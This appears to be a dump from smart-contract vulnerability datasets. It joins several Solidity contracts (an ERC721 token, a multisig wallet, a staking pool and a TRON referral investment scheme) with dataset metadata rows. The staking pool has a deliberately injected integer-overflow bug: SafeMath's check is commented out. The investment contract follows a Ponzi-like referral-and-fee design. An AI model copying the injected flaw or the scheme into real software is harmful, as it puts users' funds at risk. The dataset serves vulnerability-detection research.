require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator) external virtual onlyOwner {
_setDefaultRoyalty(receiver, feeNumerator);
}
function deleteDefaultRoyalty() external virtual onlyOwner {
_deleteDefaultRoyalty();
}
function setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator) external virtual onlyOwner {
_setTokenRoyalty(tokenId, receiver, feeNumerator);
}
function resetTokenRoyalty(uint256 tokenId) external virtual onlyOwner {
_resetTokenRoyalty(tokenId);
}
function mint(uint256 amount) public {
for (uint256 i; i < amount; i++) {
_circulatingSupply ++;
_safeMint(_msgSender(), _circulatingSupply);
}
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from,
address to,
uint256 tokenId,
bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to,
uint256 tokenId,
bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _transfer(address from,
address to,
uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
}
| 114,477 | 13,458 |
31604082d8ba23405ef7449683295c73f5289452fed45af0d45ca74c31f0520e
| 19,774 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5e5a14be6b31ab275347bd28bb1d0f425c14f817.sol
| 4,437 | 19,375 |
// - to set the settings of token generation round
// - to start and to stop token generation round
// - to freeze the token upon creation of array.io blockchain
// - to send eRAY tokens from this wallet
// - to make arbitrary transaction in usual to multisignature wallet way
// Elsewhere in other contracts or documentation this contract MAY be referenced as projectWallet
// Authors: Alexander Shevtsov <randomlogin76@gmail.com>
// Vladimir Bobrov <v@decenturygroup.com>
// vladiuz1 <vs@array.io>
// License: see the repository file
// Last updated: 12 August 2018
pragma solidity ^0.4.22;
//Interface for the token contract
contract IToken {
address public whitelist;
function executeSettingsChange(uint amount,
uint minimalContribution,
uint partContributor,
uint partProject,
uint partFounders,
uint blocksPerStage,
uint partContributorIncreasePerStage,
uint maxStages);
}
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
address owner; //the one who creates the contract, only this person can set the token
uint public required;
uint public transactionCount;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
IToken public token;
struct SettingsRequest {
uint amount;
uint minimalContribution;
uint partContributor;
uint partProject;
uint partFounders;
uint blocksPerStage;
uint partContributorIncreasePerStage;
uint maxStages;
bool executed;
mapping(address => bool) confirmations;
}
uint settingsRequestsCount = 0;
mapping(uint => SettingsRequest) settingsRequests;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerDoesNotExist(address _owner) {
require(!isOwner[_owner]);
_;
}
modifier ownerExists(address _owner) {
require(isOwner[_owner]);
_;
}
modifier transactionExists(uint _transactionId) {
require(transactions[_transactionId].destination != 0);
_;
}
modifier confirmed(uint _transactionId, address _owner) {
require(confirmations[_transactionId][_owner]);
_;
}
modifier notConfirmed(uint _transactionId, address _owner) {
require(!confirmations[_transactionId][_owner]);
_;
}
modifier notExecuted(uint _transactionId) {
require(!transactions[_transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint _ownerCount, uint _required) {
require(_ownerCount < MAX_OWNER_COUNT
&& _required <= _ownerCount
&& _required != 0
&& _ownerCount != 0);
_;
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] _owners, uint _required) public validRequirement(_owners.length, _required) {
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
owner = msg.sender;
}
/// @dev Fallback function allows to deposit ether.
function() public payable {
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
function setToken(address _token) public onlyOwner {
require(token == address(0));
token = IToken(_token);
}
//---------------- TGR SETTINGS -----------
/// @dev Sends request to change settings
/// @return Transaction ID
function tgrSettingsChangeRequest(uint amount,
uint minimalContribution,
uint partContributor,
uint partProject,
uint partFounders,
uint blocksPerStage,
uint partContributorIncreasePerStage,
uint maxStages)
public
ownerExists(msg.sender)
returns (uint _txIndex)
{
assert(amount*partContributor*partProject*blocksPerStage*partContributorIncreasePerStage*maxStages != 0); //asserting no parameter is zero except partFounders
assert(amount >= 1 ether);
_txIndex = settingsRequestsCount;
settingsRequests[_txIndex] = SettingsRequest({
amount: amount,
minimalContribution: minimalContribution,
partContributor: partContributor,
partProject: partProject,
partFounders: partFounders,
blocksPerStage: blocksPerStage,
partContributorIncreasePerStage: partContributorIncreasePerStage,
maxStages: maxStages,
executed: false
});
settingsRequestsCount++;
confirmSettingsChange(_txIndex);
return _txIndex;
}
/// @dev Allows an owner to confirm a change settings request.
/// @param _txIndex Transaction ID.
function confirmSettingsChange(uint _txIndex) public ownerExists(msg.sender) returns(bool success) {
require(settingsRequests[_txIndex].executed == false);
settingsRequests[_txIndex].confirmations[msg.sender] = true;
if(isConfirmedSettingsRequest(_txIndex)){
SettingsRequest storage request = settingsRequests[_txIndex];
request.executed = true;
IToken(token).executeSettingsChange(request.amount,
request.minimalContribution,
request.partContributor,
request.partProject,
request.partFounders,
request.blocksPerStage,
request.partContributorIncreasePerStage,
request.maxStages);
return true;
} else {
return false;
}
}
function setFinishedTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"ce5e6393");
confirmTransaction(transactionId);
}
function setLiveTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"29745306");
confirmTransaction(transactionId);
}
function setFreezeTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"2c8cbe40");
confirmTransaction(transactionId);
}
function transferTx(address _to, uint _value) public ownerExists(msg.sender) returns(uint transactionId) {
//I rather seldom wish pain to other people, but solidity developers may be an exception.
bytes memory calldata = new bytes(68);
calldata[0] = byte(hex"a9");
calldata[1] = byte(hex"05");
calldata[2] = byte(hex"9c");
calldata[3] = byte(hex"bb");
//When I wrote these lines my eyes were bleeding.
bytes32 val = bytes32(_value);
bytes32 dest = bytes32(_to);
//I spent a day for this function, because my fingers made a fist.
for(uint j=0; j<32; j++) {
calldata[j+4]=dest[j];
}
//Oh, reader! I hope you forget it like a bad nightmare.
for(uint i=0; i<32; i++) {
calldata[i+36]=val[i];
}
//Stil the ghost of this code will haunt you.
transactionId = addTransaction(token, 0, calldata);
confirmTransaction(transactionId);
//Enjoy.
}
function setWhitelistTx(address _whitelist) public ownerExists(msg.sender) returns(uint transactionId) {
bytes memory calldata = new bytes(36);
calldata[0] = byte(hex"85");
calldata[1] = byte(hex"4c");
calldata[2] = byte(hex"ff");
calldata[3] = byte(hex"2f");
bytes32 dest = bytes32(_whitelist);
for(uint j=0; j<32; j++) {
calldata[j+4]=dest[j];
}
transactionId = addTransaction(token, 0, calldata);
confirmTransaction(transactionId);
}
//adds this address to the whitelist
function whitelistTx(address _address) public ownerExists(msg.sender) returns(uint transactionId) {
bytes memory calldata = new bytes(36);
calldata[0] = byte(hex"0a");
calldata[1] = byte(hex"3b");
calldata[2] = byte(hex"0a");
calldata[3] = byte(hex"4f");
bytes32 dest = bytes32(_address);
for(uint j=0; j<32; j++) {
calldata[j+4]=dest[j];
}
transactionId = addTransaction(token.whitelist(), 0, calldata);
confirmTransaction(transactionId);
}
//--------------------------Usual multisig functions for handling owners and transactions.
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param _owner Address of new owner.
function addOwner(address _owner) public onlyWallet ownerDoesNotExist(_owner) notNull(_owner) validRequirement(owners.length + 1, required) {
isOwner[_owner] = true;
owners.push(_owner);
emit OwnerAddition(_owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param _owner Address of owner.
function removeOwner(address _owner) public onlyWallet ownerExists(_owner) {
isOwner[_owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == _owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(_owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param _owner Address of owner to be replaced.
/// @param _newOwner Address of new owner.
function replaceOwner(address _owner, address _newOwner) public onlyWallet ownerExists(_owner) ownerDoesNotExist(_newOwner) {
for (uint i=0; i<owners.length; i++)
if (owners[i] == _owner) {
owners[i] = _newOwner;
break;
}
isOwner[_owner] = false;
isOwner[_newOwner] = true;
emit OwnerRemoval(_owner);
emit OwnerAddition(_newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) {
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data) public ownerExists(msg.sender) notNull(destination) returns (uint transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data) internal returns (uint transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param _transactionId Transaction ID.
function confirmTransaction(uint _transactionId) public ownerExists(msg.sender) transactionExists(_transactionId) notConfirmed(_transactionId, msg.sender) {
confirmations[_transactionId][msg.sender] = true;
emit Confirmation(msg.sender, _transactionId);
executeTransaction(_transactionId);
}
//Will fail if calldata less than 4 bytes long. It's a feature, not a bug.
/// @dev Allows anyone to execute a confirmed transaction.
/// @param _transactionId Transaction ID.
function executeTransaction(uint _transactionId) public notExecuted(_transactionId) {
if (isConfirmed(_transactionId)) {
Transaction storage trx = transactions[_transactionId];
trx.executed = true;
//Just don't ask questions. It's needed. Believe me.
bytes memory data = trx.data;
bytes memory calldata;
if (trx.data.length >= 4) {
bytes4 signature;
assembly {
signature := mload(add(data, 32))
}
calldata = new bytes(trx.data.length-4);
for (uint i = 0; i<calldata.length; i++) {
calldata[i] = trx.data[i+4];
}
}
else {
calldata = new bytes(0);
}
if (trx.destination.call.value(trx.value)(signature, calldata))
emit Execution(_transactionId);
else {
emit ExecutionFailure(_transactionId);
trx.executed = false;
}
}
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param _transactionId Transaction ID.
function revokeConfirmation(uint _transactionId) public ownerExists(msg.sender) confirmed(_transactionId, msg.sender) notExecuted(_transactionId) {
confirmations[_transactionId][msg.sender] = false;
emit Revocation(msg.sender, _transactionId);
}
/// @dev Returns the confirmation status of a transaction.
/// @param _transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint _transactionId) public view returns (bool) {
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[_transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
function isConfirmedSettingsRequest(uint _transactionId) public view returns (bool) {
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (settingsRequests[_transactionId].confirmations[owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
/// @dev Shows what settings were requested in a settings change request
function viewSettingsChange(uint _txIndex) public constant
returns (uint amount, uint minimalContribution, uint partContributor, uint partProject, uint partFounders, uint blocksPerStage, uint partContributorIncreasePerStage, uint maxStages) {
SettingsRequest memory request = settingsRequests[_txIndex];
return (request.amount,
request.minimalContribution,
request.partContributor,
request.partProject,
request.partFounders,
request.blocksPerStage,
request.partContributorIncreasePerStage,
request.maxStages);
}
/// @dev Returns number of confirmations of a transaction.
/// @param _transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint _transactionId) public view returns (uint count) {
for (uint i=0; i<owners.length; i++)
if (confirmations[_transactionId][owners[i]])
count += 1;
}
function getSettingsChangeConfirmationCount(uint _txIndex) public view returns (uint count) {
for (uint i=0; i<owners.length; i++)
if (settingsRequests[_txIndex].confirmations[owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed) public view returns (uint count) {
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[]) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param _transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint _transactionId) public view returns (address[] _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[_transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] _transactionIds) {
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=from; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 204,175 | 13,459 |
40155e7850c7c4f51d5a430063504a9af38aa66eca20df6c66c26376fbd64ab8
| 16,019 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0x59a589addbbd8a6ed4ac4aa4e69feb0aeb9ec386_integerOverflow.sol
| 2,926 | 11,521 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
admin = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool2 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 60000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
| 280,056 | 13,460 |
03d52e4daca23901386231d7bab3a492adc46492f7b6a38051ed74d4bd6d0e5e
| 11,868 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSqjkvk9BUPmbf5Hy6FcjmFj4VA7GfY2dd_TronShaft.sol
| 3,821 | 11,373 |
//SourceUnit: tron_shaft.sol
pragma solidity 0.5.10;
contract TronShaft {
using SafeMath for uint256;
//TronShaft_inc inc;
uint256 constant public INVEST_MIN_AMOUNT = 50 trx;
uint256[] public REFERRAL_PERCENTS = [50, 25, 5];
uint256 constant public PROJECT_FEE = 60;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUser;
uint256 public totalWithdrawal;
uint256 public totalStaked;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
address payable dev;
uint256 public startUNIX;
address payable public commissionWallet;
address payable public marketingAddress;
address payable public devAddress;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable wallet, address payable wallet1, address payable wallet2,uint256 startDate) public {
require(!isContract(wallet));
require(startDate > 0);
commissionWallet = wallet;
marketingAddress = wallet1;
devAddress = wallet2;
startUNIX = startDate;
// inc=TronShaft_inc(_inc);
plans.push(Plan(14, 80));
plans.push(Plan(21, 65));
plans.push(Plan(28, 50));
plans.push(Plan(14, 137));
plans.push(Plan(21, 130));
plans.push(Plan(28, 104));
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
uint256 mfee = msg.value.mul(20).div(PERCENTS_DIVIDER);
marketingAddress.transfer(mfee);
// inc.insureFund.value(mfee);
uint256 dfee = msg.value.mul(20).div(PERCENTS_DIVIDER);
devAddress.transfer(dfee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
